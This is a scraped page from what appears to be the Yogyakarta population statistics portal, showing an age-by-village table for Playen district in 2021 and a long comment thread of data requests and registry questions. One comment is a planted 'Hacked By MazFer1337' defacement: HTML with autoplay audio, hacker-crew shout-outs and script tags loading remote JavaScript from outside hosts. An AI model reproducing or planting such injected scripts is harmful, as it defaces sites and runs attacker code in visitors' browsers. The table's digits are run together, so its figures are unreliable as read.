Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN PLAYEN, KABUPATEN GUNUNGKIDUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaBANYUSOCOPLEMBUTANBLEBERANGETASDENGOKNGUNUTPLAYENNGAWUBANDUNGLOGANDENGGADINGBANARANNGLERITotal
LPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun5958 1175950 1096958 1276565 1302228 502915 444940 894937 865341 949387 1806054 1145531 863029 59692 593 1.285
2 tahun3243 753429 634127 683341 74910 191711 281822 403122 531626 426760 1274538 833317 501813 31394 359 753
3 tahun4029 694138 793940 794239 812317 402519 442226 482630 562327 506158 1193526 613425 591116 27422 390 812
4 tahun4428 723234 663434 682532 57229 311520 352721 482928 571421 357345 1182336 592129 502321 44382 358 740
5 tahun4241 833729 663742 793828 661821 391821 392833 612431 552730 575951 1103329 621526 41169 25392 391 783
6 tahun3134 653339 724639 853651 871619 351513 281824 422529 541521 364257 993745 822420 442518 43363 409 772
7 tahun3725 623935 744227 693635 711616 321617 334030 702825 532836 645066 1162742 692819 471816 34405 389 794
8 tahun3940 792935 644735 823436 701917 36813 212925 543532 672128 496752 1194639 853227 591714 31423 393 816
9 tahun3440 743536 714046 864035 751616 321513 283227 592035 552825 537653 1293932 712537 621412 26414 407 821
10 tahun3542 773928 674640 863736 732015 351013 232635 613433 672426 507867 1454040 802737 641815 33434 427 861
11 tahun3939 783429 633244 763641 771925 44920 293022 523433 672126 477069 1393640 763533 682724 51422 445 867
12 tahun4340 834234 764556 1014534 791814 321417 313837 752527 522825 537755 1323740 773635 712217 39470 431 901
13 tahun3328 614135 764046 865245 971417 311218 303934 733228 602728 556657 1234645 912441 652314 37449 436 885
14 tahun3428 623625 614837 855249 1011520 351816 343831 693224 563822 607556 1315052 1023532 671419 33485 411 896
15 tahun4135 762934 633442 764838 861819 371515 302323 464033 732624 508485 1694043 833129 602315 38452 435 887
16 tahun4027 672828 563633 694345 881217 291411 253328 612733 603625 616770 1375933 922025 451618 34431 393 824
17 tahun2939 682921 505233 854137 781420 342316 393321 542732 593525 606174 1354945 942418 422011 31437 392 829
18 tahun4362 1052630 563330 634335 782512 37919 283023 532729 562427 516256 1184538 833535 702017 37422 413 835
19 tahun4736 833032 623731 684835 831321 341510 253629 652623 492235 576458 1225141 923327 602119 40443 397 840
20 tahun4437 813316 495341 944045 852620 461512 273334 674032 722430 545757 1144150 914035 752519 44471 428 899
21 tahun4048 883734 716052 1124044 841914 332510 353139 702526 513826 646064 1247343 1163335 682423 47505 458 963
22 tahun5934 933426 604936 854246 881818 361017 272227 493333 662031 516155 1164540 853335 682422 46450 420 870
23 tahun3643 794127 684022 623641 77139 22912 213833 712321 442228 506364 1274932 812828 562214 36420 374 794
24 tahun4639 852022 424632 784544 892112 331022 323729 662525 502334 577051 1215856 1142228 501923 42442 417 859
25 tahun5538 933245 773649 854231 731715 321914 332838 663226 584325 686660 1265038 882320 431513 28458 412 870
26 tahun3935 743641 774034 743830 681417 312016 363133 643029 593225 576961 1303445 793228 601920 39434 414 848
27 tahun4238 803828 663938 773142 7387 151111 222624 503833 713932 716857 1255351 1043433 671423 37441 417 858
28 tahun4544 894331 744346 894545 901611 272016 364033 732639 652722 496765 1324341 842428 522118 39460 439 899
29 tahun4530 753532 674033 734129 701416 302116 373329 622520 451821 397663 1394242 842215 372023 43432 369 801
30 tahun4438 823346 793233 653336 691010 201914 332725 522227 492418 425562 1174454 983128 591825 43392 416 808
31 tahun3840 783736 734732 794841 892118 391518 332827 552322 452921 505555 1103927 661223 351717 34409 377 786
32 tahun3528 634036 764537 824243 851416 302225 473121 522820 483021 516052 1124327 702024 441716 33427 366 793
33 tahun5341 943131 623446 803647 831617 33911 202628 542423 472225 475764 1212431 552524 491521 36372 409 781
34 tahun3744 813023 534740 873435 691718 351015 251732 493138 692024 445658 1143832 701924 431617 33372 400 772
35 tahun3934 732528 534240 824241 831319 321813 312924 533132 632223 456861 1294536 812929 582111 32424 391 815
36 tahun4733 803737 744837 856042 1022021 411311 243731 684226 682526 517083 1535738 953524 591512 27506 421 927
37 tahun5241 934133 745037 875433 871623 392013 333323 563142 732428 528668 1544642 882721 482219 41502 423 925
38 tahun4431 753938 773230 624646 921618 341616 322742 692937 662731 586565 1304744 912729 561711 28432 438 870
39 tahun4349 924130 715550 1054643 892519 442010 303426 603824 623327 606878 1464952 1013931 701623 39507 462 969
40 tahun3736 734340 833939 785143 941721 381723 403340 733024 543238 706564 1293648 843727 641417 31451 460 911
41 tahun4045 853644 804244 864545 902720 471313 263227 593030 603230 626081 1413249 813126 572025 45440 479 919
42 tahun3441 753836 744744 913949 882821 492214 362436 602341 643133 647069 1394140 812741 681420 34438 485 923
43 tahun3327 604827 754246 883636 722426 501418 322526 513229 612929 587068 1384040 802930 591621 37438 423 861
44 tahun3539 743922 614330 733139 701712 291114 252228 502819 472627 536568 1334362 1053624 602020 40416 404 820
45 tahun4237 792632 584432 763524 59108 181624 403224 563535 702716 436765 1325140 912836 641622 38429 395 824
46 tahun4440 843336 695247 995242 941817 351512 272526 512542 673234 666661 1274044 843331 64268 34461 440 901
47 tahun3440 742732 593439 734334 771820 381615 312628 543623 592630 565658 1145038 883323 561919 38418 399 817
48 tahun4836 842733 603629 653834 721616 322020 402438 622728 551625 416967 1364248 902827 551721 38408 422 830
49 tahun5246 983724 614834 823643 791621 372514 393434 682535 603336 696559 1246045 1053048 781912 31480 451 931
50 tahun3935 742637 633429 632133 541613 291914 332623 492735 622630 565055 1054350 932528 532417 41376 399 775
51 tahun4945 942430 543141 725439 932019 391323 362936 652825 533222 546555 1203441 753029 591622 38425 427 852
52 tahun3349 823240 724046 864346 892027 471022 322630 562622 483232 646166 1274052 923145 761931 50413 508 921
53 tahun4245 873842 803447 813137 681320 331912 313244 763221 532526 514956 1055054 1044023 631714 31422 441 863
54 tahun4737 842832 603954 932434 581415 291019 293132 632332 552832 604961 1105551 1062532 572113 34394 444 838
55 tahun4046 862827 552726 532824 52199 281812 303735 721726 432724 515658 1145142 932525 501417 31387 371 758
56 tahun4153 943443 773442 763931 701321 341419 333035 652735 622730 575781 1383549 842638 642020 40397 497 894
57 tahun2535 602429 532837 653123 54128 201411 252527 522217 391926 454360 1034448 923529 641915 34341 365 706
58 tahun4335 782637 633426 604232 74917 26818 263127 581822 402130 515369 1223443 772321 441320 33355 397 752
59 tahun3238 703234 663520 552729 56414 18229 312027 472526 512727 545267 1196049 1091729 461411 25367 380 747
60 tahun3230 622230 521825 432413 371316 291111 222427 511916 352131 523536 711841 591317 301116 27261 309 570
61 tahun3845 833334 673746 832235 571812 30912 213132 632626 522627 536050 1103951 901944 631921 40377 435 812
62 tahun1935 542523 482731 582530 551014 241817 353928 672134 552325 484169 1103942 812935 641520 35331 403 734
63 tahun3439 732439 632522 472423 4788 161216 281631 471627 431927 465550 1053950 892526 51138 21310 366 676
64 tahun3044 742035 552126 472328 51916 251019 291915 341527 422321 443657 933935 742221 431420 34281 364 645
65 tahun2641 673333 663226 582328 511418 321720 372026 462132 531731 484542 872139 602023 43820 28297 379 676
66 tahun3444 783341 742439 633138 69818 262117 382318 412319 421527 423940 792836 642731 581719 36323 387 710
67 tahun2531 562025 452826 542416 401316 291811 291723 401525 401325 384629 752035 552320 431520 35277 302 579
68 tahun2126 472922 511621 372013 331119 3087 151115 261622 381817 352333 562929 582527 522415 39251 266 517
69 tahun2628 541326 391918 371024 341214 261014 241821 391512 271817 353321 542132 532514 39712 19227 253 480
70 tahun2521 461411 251820 381420 341312 251111 221214 261311 241611 271826 442418 421912 31913 22206 200 406
71 tahun1942 611226 381331 442625 51915 2467 131121 3265 11520 252130 512524 491419 331119 30178 284 462
72 tahun2724 5168 141028 381215 2788 1658 131015 2585 13920 291927 462220 42824 3258 13149 210 359
73 tahun2428 522024 442127 481925 441211 2357 12818 26711 181326 392728 551320 331219 311112 23192 256 448
74 tahun1123 341213 25611 171113 2457 1264 101014 2449 13910 191821 391918 37611 1746 10121 160 281
75 tahun1418 32713 20520 251119 30610 1641 598 17317 20712 191013 231217 291217 29511 16105 176 281
76 tahun1529 44816 241218 301331 44613 1993 121217 29517 22109 191020 301224 36511 161017 27127 225 352
77 tahun1515 3089 17167 2369 1538 1134 7511 1625 761 758 131111 22511 1645 989 104 193
78 tahun919 281513 281519 341913 3238 1125 71014 24614 201211 231518 33616 221321 34712 19132 183 315
79 tahun1925 441216 28912 211416 30913 221010 201015 251012 221215 271613 292027 472024 441011 21171 209 380
80 ke atas80107 18742107 1495699 15548105 1533562 972461 856380 1432892 1205490 14472123 19579133 21253100 1534171 112675 1.230 1.905
Jumlah2.9582.9985.9562.4302.5024.9322.8672.8295.6962.8002.8175.6171.2191.3142.5331.1541.1802.3342.1392.2154.3541.9822.1444.1261.9422.0864.0284.4214.4618.8823.1353.2306.3652.1062.2244.3301.3711.4082.779 30.524 31.408 61.932
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih